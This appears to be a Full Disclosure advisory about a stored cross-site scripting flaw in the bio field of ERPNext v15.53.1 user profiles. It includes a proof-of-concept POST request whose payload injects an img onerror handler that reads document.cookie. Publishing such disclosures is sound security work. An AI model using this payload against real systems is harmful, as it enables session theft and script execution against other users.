[FD] ERPNext v15.53.1 Stored XSS in bio Field Allows Arbitrary Script Execution in Profile Page



An authenticated attacker can inject JavaScript into the bio field of their
user profile. When the profile is viewed by another user, the injected
script executes.

*Proof of Concept:*

POST
/api/method/frappe.desk.page.user_profile.user_profile.update_profile_info
HTTP/2
Host: --host--

profile_info={"bio":"\"><img src=x onerror=alert(document.cookie)>"}
